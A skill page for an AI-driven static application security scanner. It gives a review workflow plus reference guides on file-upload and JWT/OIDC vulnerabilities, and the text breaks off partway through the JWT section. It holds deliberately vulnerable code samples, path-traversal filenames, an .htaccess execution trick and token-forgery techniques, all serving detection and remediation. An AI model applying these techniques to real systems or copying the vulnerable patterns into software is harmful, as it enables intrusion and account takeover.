# llm-sast-scanner

General-purpose Static Application Security Testing (SAST) skill for code vulnerability analysis. Trigger when the user asks to: "analyze code for vulnerabilities", "review code security", "find security bugs", "do a SAST scan", "check for [vulnerability type] in code", "audit source code", or requests a security code review of any language or framework. Covers 34 vulnerability classes across web, API, auth, mobile, and logic layers.

- **Kind:** skill
- **Source:** https://github.com/SunWeb3Sec/llm-sast-scanner
- **Page:** https://forefy.com/skills/b37266c0-4e71-4b37-8838-892a3c6366de
- **API (JSON + files):** https://forefy.com/api/skills/b37266c0-4e71-4b37-8838-892a3c6366de

---

## SKILL.md

---
name: llm-sast-scanner
description: >
  General-purpose Static Application Security Testing (SAST) skill for code vulnerability analysis.
  Trigger when the user asks to: "analyze code for vulnerabilities", "review code security", "find security bugs",
  "do a SAST scan", "check for [vulnerability type] in code", "audit source code", or requests a security
  code review of any language or framework. Covers 34 vulnerability classes across web, API, auth, mobile, and logic layers.
metadata:
  version: "1.3.2"
  domain: application-security
  references: 34 vulnerability knowledge bases
---

# SAST Vulnerability Analysis

## Purpose

Systematically analyze source code for security vulnerabilities using structured Source→Sink taint tracking,
pattern matching, and vulnerability-class-specific detection heuristics. Produce actionable findings with
severity ratings, affected code locations (file + line number), and remediation guidance.

## Scope

This skill covers the following 34 vulnerability classes. Each has a dedicated reference file loaded on demand:

| Category | Vulnerabilities |
|----------|----------------|
| **Injection** | SQL Injection, XSS, SSTI, NoSQL Injection, GraphQL Injection, XXE, RCE / Command Injection, Expression Language Injection |
| **Access Control & Auth** | IDOR, Privilege Escalation, Authentication/JWT, Default Credentials, Brute Force, Business Logic, HTTP Method Tampering, Verification Code Abuse, Session Fixation |
| **Data Exposure & Crypto** | Weak Crypto/Hash, Information Disclosure, Insecure Cookie, Trust Boundary |
| **Server-Side** | SSRF, Path Traversal/LFI/RFI, Insecure Deserialization, Arbitrary File Upload, JNDI Injection, Race Conditions |
| **Protocol & Infrastructure** | CSRF, Open Redirect, HTTP Request Smuggling/Desync, Denial of Service, CVE Patterns |
| **Language/Platform** | PHP Security, Mobile Security (Android/iOS) |

---

## Workflow

### Step 1: Understand Scope

Determine:
- Target: single file, directory, API endpoint, module, or full repo
- Language(s) and framework(s) in use
- User's goal: quick scan, deep audit, specific vuln class, or full report

### Step 2: Load Relevant References

Based on the code being reviewed, load the appropriate reference files from `references/`:

```
references/sql_injection.md          — SQL / ORM injection
references/xss.md                    — Cross-site scripting
references/ssrf.md                   — Server-side request forgery
references/rce.md                    — Remote code execution
references/idor.md                   — Insecure direct object reference
references/authentication_jwt.md     — Auth flaws, JWT weaknesses
references/csrf.md                   — Cross-site request forgery
references/path_traversal_lfi_rfi.md — Path traversal, LFI/RFI
references/ssti.md                   — Server-side template injection
references/xxe.md                    — XML external entity
references/insecure_deserialization.md    — Insecure deserialization
references/arbitrary_file_upload.md      — Arbitrary file upload
references/privilege_escalation.md       — Privilege escalation
references/nosql_injection.md            — NoSQL injection
references/graphql_injection.md          — GraphQL injection
references/weak_crypto_hash.md           — Weak cryptography / hash
references/information_disclosure.md     — Information disclosure
references/insecure_cookie.md            — Insecure cookie attributes
references/open_redirect.md              — Open redirect
references/trust_boundary.md             — Trust boundary violations
references/race_conditions.md            — Race conditions / TOCTOU
references/brute_force.md                — Brute force / credential stuffing
references/default_credentials.md        — Default / hardcoded credentials
references/verification_code_abuse.md    — Verification code abuse
references/business_logic.md             — Business logic flaws
references/http_method_tamper.md         — HTTP method tampering
references/smuggling_desync.md           — HTTP request smuggling / desync
references/cve_patterns.md               — Known CVE patterns
references/expression_language_injection.md — Expression language injection (SpEL / OGNL)
references/jndi_injection.md             — JNDI injection (Log4Shell class)
references/denial_of_service.md          — Denial of service / resource exhaustion
references/php_security.md               — PHP-specific security issues
references/mobile_security.md            — Mobile security (Android / iOS)
references/session_fixation.md           — Session fixation
```

**Loading strategy:**
- For a targeted review (e.g., "check for SQL injection"), load only the relevant reference(s).
- For a full audit, load all 34 references and scan systematically.
- Always load references for the top OWASP risks even if not explicitly requested.

---

### Step 3: Analyze Code — Source→Sink Taint Tracking

For each loaded vulnerability class, perform taint analysis:

1. **Identify Sources** — User-controlled input entry points:
   - HTTP params, headers, cookies, request body
   - File uploads
   - WebSocket messages
   - Environment variables
   - Database reads of user-supplied data, deserialized objects

2. **Trace Data Flow** — Follow the data through:
   - Variable assignments, function arguments, return values
   - Framework helpers, ORM calls, template rendering
   - Cross-module/service boundaries

3. **Check Sinks** — Dangerous operations receiving tainted data:
   - Query execution (SQL, NoSQL, LDAP, XPath)
   - Shell/OS command execution
   - File system operations
   - HTTP client calls
   - Template rendering / eval / expression parsing
   - Serialization/deserialization

4. **Evaluate Sanitization** — Between source and sink, look for:
   - Input validation (allowlist vs denylist)
   - Context-appropriate encoding/escaping
   - Parameterization (prepared statements)
   - Framework-native protections

5. **Determine Preliminary Verdict**:
   - **VULN**: Taint reaches sink with no effective sanitization
   - **LIKELY VULN**: Sanitization present but bypassable per reference heuristics
   - **SAFE**: Effective sanitization or no taint path

---

### Step 4: Business Logic & Auth Analysis

Beyond taint tracking, check for:
- Missing authentication/authorization on sensitive endpoints
- Insecure state machine transitions
- Race conditions in concurrent operations
- Improper trust boundaries between components
- JWT algorithm confusion, token fixation, session issues
- Default/hardcoded credentials
- Enumeration via timing or response differences

---

### Step 5: Judge — Validity Re-Verification

Before reporting, every preliminary finding (VULN or LIKELY VULN) **must pass a Judge review**. The Judge acts as an adversarial second opinion to eliminate false positives.

For each candidate finding, answer all of the following:

#### Reachability Check
- [ ] Is the source actually user-controlled, or is it internal/trusted data?
- [ ] Is the vulnerable code path reachable from an HTTP endpoint / entry point, or is it dead code / internal-only?
- [ ] Are there upstream guards (auth middleware, input filters) that block the path before it reaches the sink?

#### Sanitization Re-Evaluation
- [ ] Is there sanitization that was missed in Step 3? (Check parent functions, middleware, framework internals)
- [ ] Is the sanitization method sufficient for this specific sink and context?
- [ ] Does the framework provide implicit protection for this pattern?

#### Exploitability Check
- [ ] Can the tainted value actually reach the sink in a form that triggers the vulnerability?
- [ ] Is exploitation conditional on a specific environment, config, or privilege level?
- [ ] For logic bugs: is the business impact real, or hypothetical?
- [ ] Is the chosen tag the most precise valid label for this finding?

#### Judge Verdict

| Verdict | Meaning | Action |
|---------|---------|--------|
| **CONFIRMED** | All reachability/sanitization/exploitability checks pass | Include in report |
| **LIKELY** | Most checks pass; one uncertainty remains | Include in report, flag uncertainty |
| **NEEDS CONTEXT** | Cannot determine without runtime behavior / config / additional files | Note as "unverifiable without X" |
| **FALSE POSITIVE** | Positive evidence of protection found — cite the exact file+line of the sanitization, allowlist check, guard, or framework-level auto-protection that makes the sink safe | Drop silently |

**Only CONFIRMED and LIKELY findings are reported.**

**FP burden of proof**: `UNCERTAIN` on any check is NOT sufficient to declare FALSE POSITIVE. If a check result is UNCERTAIN after inspecting the sink, its callers, and the framework internals, use `NEEDS CONTEXT` instead. Only use FALSE POSITIVE when you have found and can cite positive evidence that the path is protected.

#### Judge Output Format (internal, before reporting)

```
Finding: VULN-NNN — <class>
Reachability:   PASS / FAIL / UNCERTAIN — <reason>
Sanitization:   PASS / FAIL / UNCERTAIN — <reason>
Exploitability: PASS / FAIL / UNCERTAIN — <reason>
Judge Verdict:  CONFIRMED / LIKELY / NEEDS CONTEXT / FALSE POSITIVE
```

#### False Positive Guardrails

**Tags**
- `default_credentials`: require a reachable auth path that accepts the hardcoded credential.
- `weak_crypto_hash`: require direct use of weak hash/algo — not just an import or third-party component. Covers both weak algorithms (DES, RC4, ECB) and weak hashes (MD5, SHA-1 for passwords); do not use `weak_crypto` as a separate tag.
- `rce` → prefer `command_injection` for direct shell/process execution. Do not replace `spel_injection` with `rce`/`command_injection`.
- `jndi_injection` in demos: only if the JNDI sink is the primary exploit path.
- Broad tags (`trust_boundary`, `authentication`, `privilege_escalation`): prefer the narrowest valid tag (`xff_spoofing`, `session_fixation`, `verification_code`).
- `open_redirect`: only if the attacker-controlled redirect is the primary exploit (not infra/parser misconfiguration).
- `csrf`: skip for stateless Bearer-token-only APIs (`SessionCreationPolicy.STATELESS`).
- `insecure_deserialization`: skip if `component_vulnerability` covers the same sink.
- `arbitrary_file_upload`: skip for avatar/profile upload with type restrictions and non-webroot storage.
- `session_fixation`: skip when Spring Security default session management is active.
- `information_disclosure`: skip for DB credentials in config files — deployment issue, not app-level.

**Scope**
- Demo/example code: skip any finding whose ONLY vulnerable path is in `examples/`, `demo/`, `sample/` (or similar). Report only if the bug is in the library/SDK itself.
- Non-default config: verify the DEFAULT value before reporting. Requires non-default/deprecated → cap `Low`. Explicitly labeled `legacy` or deprecated in code/docs → cap `Informational`.

**Trust Boundary**
- Operator self-harm: skip findings where the "attacker" input comes from operator-written config files (YAML/JSON/TOML), CLI flags the operator supplies themselves (`--file`, `--url`, `--chain-id`), or commands the operator must explicitly run.
- Trusted admin role: skip `privilege_escalation`/`business_logic` for actions behind `onlyAdmin`/`onlyOwner`/`onlyPoolAdmin` when that role is trusted by design. Only report if an unprivileged user can reach the same path.
- Internal-only service: skip `authentication` and `information_disclosure` when the entire codebase has zero auth AND references internal infra (VPC vars, `EC2_INSTANCE_ID`, Eureka, Consul). Auth is at the network layer.
- Code generators: skip `injection`/`path_traversal`/`rce` for codegen tools (`protoc`, `swagger-codegen`, etc.) whose input comes from developer-controlled source comments, annotations, or local config.

**Protocol & Architecture**
- Protocol-designed SSRF: skip `ssrf` when fetching a peer-supplied URL is required by spec (LNURL, UMA, OAuth discovery, WebFinger, OIDC discovery). Only report if the impl allows schemes the protocol does not require (e.g., `file://`) or skips required domain validation.
- Blind SSRF: downgrade to `Informational` when all three hold: (a) response never reaches the attacker, (b) no meaningful side effect on the target, (c) no error oracle.
- Bounded DoS: skip `denial_of_service` unless the upper bound of the iterated/allocated data is attacker-controllable and unbounded. Naturally bounded data (blockchain validator set, gas limits, etcd/request-body size caps) → not a finding.
- Brute force: skip `brute_force` only if rate limiting is visible in code, framework config, or referenced middleware in the repo. Do not assume infrastructure-level rate limiting.
- Idempotent replay: skip replay/`business_logic` when the operation is idempotent AND parameters are cryptographically signed (no tampering possible).
- Library dead path: if no real caller in the codebase triggers the vulnerable parameter combination AND the code has a warning log for that path → `NEEDS CONTEXT`, not a finding.

**Platform**
- Android app-private storage: skip `insecure_storage`/`information_disclosure` for `SharedPreferences`/`DataStore` in app-private storage without `android:allowBackup="true"` in a production manifest.
- Terraform state: skip `information_disclosure` for providers writing secrets to state when attributes are marked `Sensitive: true`.
- Intra-org CI/CD: skip `supply_chain` for mutable action tags (e.g., `@v3`) when the action org matches the repo org. Only report third-party org actions.
- Local dev tools: skip `authentication` for README-described local dev tools with no production docs. Exception: report (reduced severity) if the tool does not bind to `localhost`, exposes tokens in API responses, or allows destructive ops.

---

#### Pre-Report Checklist

- [ ] Public-facing service, or internal-by-design (zero auth everywhere + internal infra refs)?
- [ ] Production code, or demo/example/sample directory?
- [ ] Attacker is genuinely untrusted, not an admin/operator within their own trust boundary?
- [ ] Verify DEFAULT config value — does the attack work with defaults?
- [ ] SSRF required by protocol spec?
- [ ] SSRF response reachable by attacker (readable / side effect / error oracle)?
- [ ] Sensitive storage protected by OS sandbox (Android app-private)?
- [ ] Replay: is the operation idempotent with signature-bound parameters?
- [ ] Library: does any real caller trigger the vulnerable path?
- [ ] Terraform state with `Sensitive: true` — by design?
- [ ] DoS: is the upper bound attacker-controllable and unbounded?
- [ ] CI/CD mutable tags: same org or third-party?
- [ ] Admin action within the admin's designed trust boundary?

---

### Step 6: Report Findings

#### Severity Classification

| Severity | Criteria |
|----------|----------|
| **Critical** | Direct RCE, authentication bypass, unauthenticated data exposure |
| **High** | SQLi, SSRF, IDOR with sensitive data, stored XSS, privilege escalation |
| **Medium** | Reflected XSS, CSRF, path traversal, insecure deserialization |
| **Low** | Information disclosure, open redirect, weak crypto, insecure cookie |
| **Info** | Missing security headers, verbose errors, defense-in-depth gaps |

**Severity Downgrade Rule:** When exploitation requires authentication, specific non-default configuration, chained prerequisites, or is only reachable through an internal/admin-only path, downgrade severity by one level from the class default; LIKELY-verdict findings whose exploitability is marked UNCERTAIN must be capped at one level below the class default regardless of vulnerability type.

#### Finding Format

```
[SEVERITY] VULN-NNN — <Vulnerability Class>  [CONFIRMED | LIKELY]
File: <path>:<line_number>
Description: <one sentence — what the vulnerability is>
Impact: <what an attacker can achieve>
Evidence:
  <relevant code snippet>
Judge: <one sentence — why this passed re-verification>
Remediation: <specific fix — not generic advice>
Reference: references/<vuln>.md
```

For NEEDS CONTEXT findings:

```
[UNVERIFIABLE] VULN-NNN — <Vulnerability Class>
File: <path>:<line_number>
Blocked by: <what additional context is needed>
```

#### Report Structure

When producing a full report, write to `sast_report.md` (or user-specified path):

```markdown
# SAST Security Report — <target>
Date: <date>
Analyzer: llm-sast-scanner v1.3

## Executive Summary
<2-3 sentences: total findings by severity, most critical issue>

## Critical Findings
## High Findings
## Medium Findings
## Low Findings
## Informational
## Unverifiable Findings

## Remediation Priority
<ordered fix list>
```

---

## Key Principles

- **Evidence over assertion**: always show the vulnerable code path, not just the pattern name
- **Context matters**: a finding is only valid if the sink is reachable with user-controlled data
- **Avoid false positives**: if sanitization exists, verify it is bypassable before marking VULN
- **Be precise**: include exact file paths and line numbers — never approximate
- **Fix > flag**: always provide a concrete remediation, not just a problem statement
- **Language-aware**: adapt sink/source patterns to the specific language and framework in use

## references

```

```

## references/arbitrary_file_upload.md

---
name: arbitrary_file_upload
description: Detect unrestricted file upload vulnerabilities where attackers can upload executable files leading to Remote Code Execution or path traversal.
---

# Unrestricted File Upload

When an application allows users to upload files without restricting executable types, an attacker can deposit a server-side script (e.g., `.php`, `.py`, `.sh`) into a web-accessible directory and trigger it via an HTTP request to achieve Remote Code Execution. A secondary risk is path traversal through attacker-controlled filenames.

## Vulnerable Conditions

Both conditions must hold:
1. **No extension whitelist** (or only MIME/Content-Type check, which is bypassable).
2. **Upload directory is web-accessible** (or code executes the uploaded file).

## Safe Patterns

- Explicit extension whitelist: `ALLOWED_EXTENSIONS = {'png', 'jpg', 'gif', 'pdf'}` with enforcement.
- Files stored outside webroot and never executed.
- Filename randomized with `uuid4()` and extension stripped.

---

## Python Source Detection Rules

### Flask
- **VULN**: `file.save(os.path.join(UPLOAD_FOLDER, file.filename))` — no extension check, uses original filename
- **VULN**: Only MIME check (bypassable): `if 'image' in file.content_type: file.save(...)`
- **VULN**: `file.filename` used directly without `secure_filename()` — path traversal risk
- **VULN**: `os.path.join(UPLOAD_FOLDER, request.form['filename'])` — filename from form field
- **SAFE**: Extension whitelist enforced:
  ```python
  ALLOWED_EXTENSIONS = {'png', 'jpg', 'gif'}
  def allowed_file(filename):
      return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
  ```
- **SAFE**: `werkzeug.utils.secure_filename(file.filename)` + extension whitelist check

### Django
- **VULN**: `InMemoryUploadedFile` saved with original name and no extension validation
- **VULN**: `FileField` with no `validate_image` or custom validator

### Path traversal in filename
- **VULN**: `../../../etc/cron.d/evil` as filename accepted without sanitization
- **Pattern**: `file.filename` used directly in `os.path.join` without `secure_filename`

---

## JavaScript Source Detection Rules

### Multer (Node.js)
- **VULN**: `multer({ dest: 'uploads/' })` with no `fileFilter` — accepts any file type
- **VULN**: `fileFilter` only checks `mimetype` (client-supplied, bypassable):
  ```js
  fileFilter: (req, file, cb) => {
      cb(null, file.mimetype.startsWith('image/'));
  }
  ```
- **VULN**: `multer({ storage: diskStorage({ filename: (req, file, cb) => cb(null, file.originalname) }) })` — original name used, path traversal possible
- **SAFE**: Extension whitelist in fileFilter:
  ```js
  const ALLOWED = ['.jpg', '.png', '.gif'];
  const ext = path.extname(file.originalname).toLowerCase();
  cb(null, ALLOWED.includes(ext));
  ```

### Formidable / busboy
- **VULN**: File saved with original name without extension validation
- **VULN**: Upload path constructed from user-controlled filename segment

---

## PHP Source Detection Rules

### Basic upload
- **VULN**: `move_uploaded_file($_FILES['file']['tmp_name'], $uploadDir . $_FILES['file']['name'])` — original name, no validation
- **VULN**: Only MIME type check: `if ($_FILES['file']['type'] == 'image/jpeg')` — easily spoofed
- **VULN**: Extension check via `$_FILES['file']['type']` (client-supplied Content-Type)

### Extension-based checks
- **VULN**: Blacklist approach — blocks `.php` but misses `.php5`, `.phtml`, `.phar`:
  ```php
  if (pathinfo($filename, PATHINFO_EXTENSION) != 'php') { /* allow */ }
  ```
- **SAFE**: Whitelist approach:
  ```php
  $allowed = ['jpg', 'jpeg', 'png', 'gif'];
  $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
  if (!in_array($ext, $allowed)) { die('Invalid file type'); }
  ```

### Path traversal
- **VULN**: `$uploadDir . $_FILES['file']['name']` — filename could contain `../`
- **SAFE**: `basename($_FILES['file']['name'])` — strips directory components

### Dangerous extensions to flag
`.php`, `.php3`, `.php4`, `.php5`, `.phtml`, `.phar`, `.py`, `.rb`, `.pl`, `.sh`, `.cgi`, `.asp`, `.aspx`, `.jsp`

## Java / Spring Source Detection Rules

```java
// VULNERABLE: Spring MultipartFile with no extension validation
@PostMapping("/upload")
public ResponseEntity<?> upload(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    Path dest = Paths.get(UPLOAD_DIR).resolve(filename);  // no extension check, path traversal possible
    file.transferTo(dest.toFile());
}
// Risk: upload .jsp → deploy to webroot → RCE if directory is served by Tomcat

// VULNERABLE: only MIME/Content-Type check (client-controlled)
if (file.getContentType().startsWith("image/")) {
    file.transferTo(new File(UPLOAD_DIR + filename));  // MIME easily spoofed
}

// VULNERABLE: no content-type validation at all
@PostMapping("/avatar")
public String uploadAvatar(@RequestParam MultipartFile avatar, Principal principal) {
    String path = AVATAR_DIR + principal.getName() + "_" + avatar.getOriginalFilename();
    avatar.transferTo(new File(path));  // .jsp / .jspx → RCE if within webroot
}

// SAFE: extension whitelist + randomized filename
private static final Set<String> ALLOWED = Set.of("jpg","jpeg","png","gif","pdf");
String ext = StringUtils.getFilenameExtension(file.getOriginalFilename()).toLowerCase();
if (!ALLOWED.contains(ext)) throw new IllegalArgumentException("Invalid file type");
String safeFilename = UUID.randomUUID() + "." + ext;
file.transferTo(Paths.get(UPLOAD_DIR, safeFilename).toFile());
```

### JSP/JSPX Upload → RCE Chain

**VULN condition**:
1. Application accepts `.jsp`, `.jspx`, or no extension filter
2. Upload directory is within Tomcat/Jetty webroot OR accessible via URL
3. Uploaded file served/executed by the servlet container

```java
// HIGH RISK: upload dir inside webroot
String UPLOAD_DIR = request.getServletContext().getRealPath("/uploads/");
// Any .jsp uploaded here is executable via HTTP request
```

### WAR/JAR Auto-Deploy

```java
// VULNERABLE: user can upload to Tomcat autodeploy directory
String deployPath = System.getProperty("catalina.home") + "/webapps/" + file.getOriginalFilename();
file.transferTo(new File(deployPath));
// .war file uploaded → Tomcat auto-deploys it → RCE

// VULNERABLE: ZIP extraction to webroot (Zip Slip → JSP drop)
ZipInputStream zis = new ZipInputStream(file.getInputStream());
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
    String entryPath = WEBROOT + entry.getName();  // no canonicalization → ../webapps/ROOT/shell.jsp
    // write to entryPath
}
```

## PHP Extension Bypass Patterns

### Double Extension and Alternative PHP Extensions

```php
// VULNERABLE: blacklist missing alternative PHP extensions
$blacklist = ['php'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, $blacklist)) {
    move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . $_FILES['file']['name']);
}
// Bypasses: .php5, .php7, .phtml, .phar, .php.jpg (if Apache configured for regex match)

// Executable extensions in Apache/Nginx context:
// .php, .php3, .php4, .php5, .php7, .phtml, .phar
// .asp, .aspx, .asa, .ashx (IIS)
// .jsp, .jspx, .jspf (Java EE)
// .pl, .cgi (Perl/CGI)

// SAFE: whitelist approach
$allowed = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'docx'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed, true)) { die('Rejected'); }
```

### .htaccess Upload → RCE

```php
// VULNERABLE: allows .htaccess file upload in Apache environments
// Attacker uploads .htaccess containing:
//   AddType application/x-httpd-php .jpg
// Then any .jpg file in that directory is executed as PHP

// VULN indicator: .htaccess not in the blocked extensions list
$blocked = ['php', 'exe', 'sh'];  // Missing .htaccess → bypass
```

## ASP.NET / IIS Source Detection Rules

```csharp
// VULNERABLE: no extension validation in ASP.NET upload
[HttpPost]
public IActionResult Upload(IFormFile file) {
    var path = Path.Combine(uploadDir, file.FileName);  // .aspx, .ashx, .config upload possible
    using var stream = System.IO.File.Create(path);
    file.CopyTo(stream);
    return Ok();
}

// VULNERABLE: only MIME type check
if (file.ContentType.StartsWith("image/")) { /* save file */ }
// ContentType is client-controlled header — easily spoofed

// DANGEROUS: .aspx upload → IIS executes as ASP.NET handler
// DANGEROUS: web.config upload → overrides application config (potential auth bypass / RCE)

// SAFE: extension whitelist + randomized name + store outside webroot
var allowedExt = new HashSet<string> { ".jpg", ".jpeg", ".png", ".gif", ".pdf" };
var ext = Path.GetExtension(file.FileName).ToLowerInvariant();
if (!allowedExt.Contains(ext)) return BadRequest("Invalid file type");
var safeName = Guid.NewGuid() + ext;
var uploadPath = Path.Combine(storageDir, safeName);  // storageDir outside wwwroot
```

### ASP.NET Dangerous Extensions

`.aspx`, `.ascx`, `.ashx`, `.asmx`, `.asax`, `.cer`, `.cdx`, `.config` (`web.config`), `.cs`, `.vb`

A blacklist missing any of these allows IIS handler execution.

## Java TRUE POSITIVE Rules

- `MultipartFile.transferTo(new File(UPLOAD_DIR + file.getOriginalFilename()))` with no extension check → **CONFIRM** (arbitrary file write, potential RCE if JSP)
- Upload directory within `getServletContext().getRealPath("/")` or webroot subdirectory + no extension filter → **CONFIRM** (JSP execution risk)
- `ZipInputStream` extraction with entry path not canonicalized → **CONFIRM** (Zip Slip)
- WAR/JAR extraction to Tomcat `webapps/` directory → **CONFIRM** (auto-deploy RCE)
- If code derives `suffix` from `file.getOriginalFilename()`, saves with `transferTo(...)`, and the same project exposes that directory through `/file/**`, `ResourceHandlerRegistry`, a `file:` static mapping, or a returned public URL, CONFIRM `arbitrary_file_upload` even when the stored filename is timestamp-randomized.

## Java FALSE POSITIVE Rules

- Extension whitelist enforced + filename randomized + stored outside webroot → **SAFE**
- Files stored in object storage (S3, GCS) never served directly by the app server → lower risk (no server-side execution, but content-type sniffing risk remains)
- Content served through a download endpoint that sets `Content-Disposition: attachment` → reduces XSS risk but not server-side execution risk
- FALSE POSITIVE guard: profile-image upload is not `arbitrary_file_upload` unless attacker-controlled file type, path, or execution context can escape image-only constraints or reach a web-executable location.

## Additional FALSE POSITIVE Rules

- Do NOT emit `arbitrary_file_upload` for profile image/avatar upload endpoints that restrict to image types (jpg/png/gif) AND store files outside the webroot or in object storage — the risk is minimal and better categorized as a defense-in-depth gap.
- Do NOT emit when file type validation (extension whitelist + content-type check + magic byte validation) is present, even if not perfect — flag as LIKELY only if a specific bypass is demonstrable.
- Do NOT emit for file write operations that are not uploads (e.g., logging, temp files, cache writes) — these should be tagged as `path_traversal` if applicable.

## references/authentication_jwt.md

---
name: authentication-jwt
description: JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
---

# Authentication / JWT / OIDC

Weaknesses in JWT and OIDC implementations frequently allow token forgery, cross-context token acceptance, service confusion, and durable account takeover. Headers, claims, and token opacity must never be trusted without strict validation that binds the token to the correct issuer, audience, key, and client context.

## Where to Look

- Web, mobile, and API authentication built on JWT (JWS/JWE) and OIDC/OAuth2
- Access tokens, ID tokens, refresh tokens, device code flows, PKCE, and Backchannel flows
- First-party and microservice verification logic, API gateways, and JWKS distribution endpoints

## Reconnaissance

### Endpoints

- Well-known: `/.well-known/openid-configuration`, `/oauth2/.well-known/openid-configuration`
- Keys: `/jwks.json`, rotating key endpoints, tenant-specific JWKS URLs
- Auth: `/authorize`, `/token`, `/introspect`, `/revoke`, `/logout`, device code endpoints
- App: `/login`, `/callback`, `/refresh`, `/me`, `/session`, `/impersonate`

### Token Features

- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}`
- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}`
- Formats: JWS (signed), JWE (encrypted). Note the unencoded payload option (`"b64":false`) and critical headers (`"crit"`)

## Vulnerability Patterns

### Signature Verification

- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as the HMAC secret when algorithm pinning is absent
- "none" algorithm acceptance: set `"alg":"none"` and omit the signature if libraries process it without rejection
- ECDSA malleability/misuse: weak verification settings that accept non-canonical signatures

### Header Manipulation

- **kid injection**: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or references to world-readable files
- **jku/x5u abuse**: host attacker-controlled JWKS/X509 chain; if not pinned or whitelisted, the server fetches and trusts attacker keys
- **jwk header injection**: embed attacker JWK directly in the token header; certain libraries prefer the inline JWK over server-configured keys
- **SSRF via remote key fetch**: exploit the JWKS URL retrieval mechanism to reach internal hosts

### Key and Cache Issues

- JWKS caching TTL and key rollover: accepting obsolete keys, racing key rotation windows, and missing kid pinning that causes any matching kty/alg to be accepted
- Mixed environments: identical secrets shared across dev/stage/prod; keys reused across tenants or unrelated services
- Fallbacks: verification logic that succeeds when kid is not found by cycling through all keys or skipping verification entirely (implementation bugs)

### Claims Validation Gaps

- iss/aud/azp not enforced: cross-service token reuse; tokens from any issuer or the wrong audience are accepted
- scope/roles fully trusted from token: the server does not re-derive authorization; privilege inflation via claim manipulation when signature checks are weak
- exp/nbf/iat not enforced or excessively broad clock skew tolerance; long-expired or not-yet-valid tokens are accepted
- typ/cty not enforced: ID tokens accepted where access tokens are required (token confusion)

### Token Confusion and OIDC

- Access vs ID token swap: use an ID token against APIs that verify the signature but not the audience or typ
- OIDC mix-up: redirect_uri and client mix-ups causing tokens minted for Client A to be redeemed at Client B
- PKCE downgrades: missing S256 enforcement; plain or absent code_verifier accepted
- State/nonce weaknesses: predictable or absent values leading to CSRF or logical interception of the login flow
- Device/Backchannel flows: codes and tokens accepted by unintended clients or services

### Refresh and Session

- Refresh token rotation not enforced: old refresh tokens reusable indefinitely with no reuse detection
- Long-lived JWTs with no revocation mechanism: access persists after logout
- Session fixation: new tokens bound to attacker-controlled session identifiers or cookies

### Transport and Storage

- Token in localStorage/sessionStorage: vulnerable to XSS-based exfiltration; cookie vs header trade-offs with SameSite and CSRF
- Insecure CORS: wildcard origins combined with credentialed requests expose tokens and protected responses
- TLS and cookie flags: missing Secure/HttpOnly; absence of mTLS or DPoP/"cnf" binding allows token replay from a different device

## Advanced Techniques

- **Microservice audience mismatch**: internal services verify signature but ignore aud, accepting tokens destined for other services
- **Gateway header trust**: edge injects X-User-Id; backend trusts it over actual token claims
- **JWS edge cases**: unencoded payload (b64=false) mishandling; nested JWT verification order errors
- **Mobile**: deep-link/redirect bugs leak codes/tokens; insecure WebView bridges; plaintext token storage
- **SSO federation**: stale metadata or obsolete keys cause acceptance of foreign tokens

## Chaining Attacks

- XSS → token theft → replay across services with weak audience enforcement
- SSRF → fetch private JWKS → sign tokens accepted by internal services
- Host header poisoning → OIDC redirect_uri poisoning → authorization code capture

## Analysis Workflow

1. **Inventory issuers/consumers** - Identity providers, API gateways, services, and mobile/web clients
2. **Capture tokens** - Obtain access and ID tokens for multiple roles; examine headers, claims, and signatures
3. **Map verification endpoints** - `/.well-known`, `/jwks.json`
4. **Build matrix** - Token Type × Audience × Service; attempt cross-context use
5. **Mutate components** - Headers (alg, kid, jku/x5u/jwk), claims (iss/aud/azp/sub/exp), and signatures
6. **Verify enforcement** - Determine what is actually validated versus assumed

## Confirming a Finding

1. Demonstrate acceptance of a forged or cross-context token (wrong algorithm, wrong audience/issuer, or attacker-signed JWKS)
2. Show access token vs ID token confusion at an API endpoint
3. Prove refresh token reuse succeeds without rotation detection or revocation
4. Confirm header abuse (kid/jku/x5u/jwk) that places key selection under attacker control
5. Provide evidence from both owner and non-owner contexts using requests that differ only in token content

## Common False Alarms

- Token rejected due to strict audience and issuer enforcement
- Key pinning with a JWKS whitelist and TLS validation in place
- Short-lived tokens with rotation and revocation triggered on logout
- ID tokens not accepted by APIs that require access tokens
- Missing-auth observations based solely on absent framework security configuration are insufficient without a concrete sensitive endpoint or action
- Hardcoded credentials in sample, tutorial, demo, or example applications must not be treated as production authentication flaws unless they are clearly deployed defaults

## Business Risk

- Account takeover and persistence of durable attacker sessions
- Privilege escalation through claim manipulation or cross-service token acceptance
- Cross-tenant or cross-application data access
- Token minting controlled by attacker-held keys or endpoints

## Analyst Notes

1. Test RS256→HS256 and "none" first only when algorithm pinning is unclear; otherwise focus on header-based key control (kid/jku/x5u/jwk)
2. Replay tokens across all services — many backends check signature only, skipping audience and typ
3. Validate every acceptance path: gateway, service, background worker, WebSocket, and gRPC
4. Treat the refresh token surface independently: verify rotation, reuse detection, and audience scoping
5. Exercise OIDC flows with PKCE, state, and nonce variations across mixed clients

## Core Principle

Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.

## Source Detection Rules

### Python (PyJWT / python-jose)
- **VULN**: `jwt.decode(token, key, algorithms=["none"])` — accepts none algorithm
- **VULN**: `jwt.decode(token, options={"verify_signature": False})` — skips signature verification
- **VULN**: `jwt.decode(token, key, algorithms=jwt.get_unverified_header(token)['alg'])` — algorithm confusion
- **SAFE**: `jwt.decode(token, SECRET_KEY, algorithms=["HS256"])` — fixed algorithm
- **Pattern**: Any `verify=False` or `options={"verify_*": False}` = HIGH RISK

### JavaScript (jsonwebtoken)
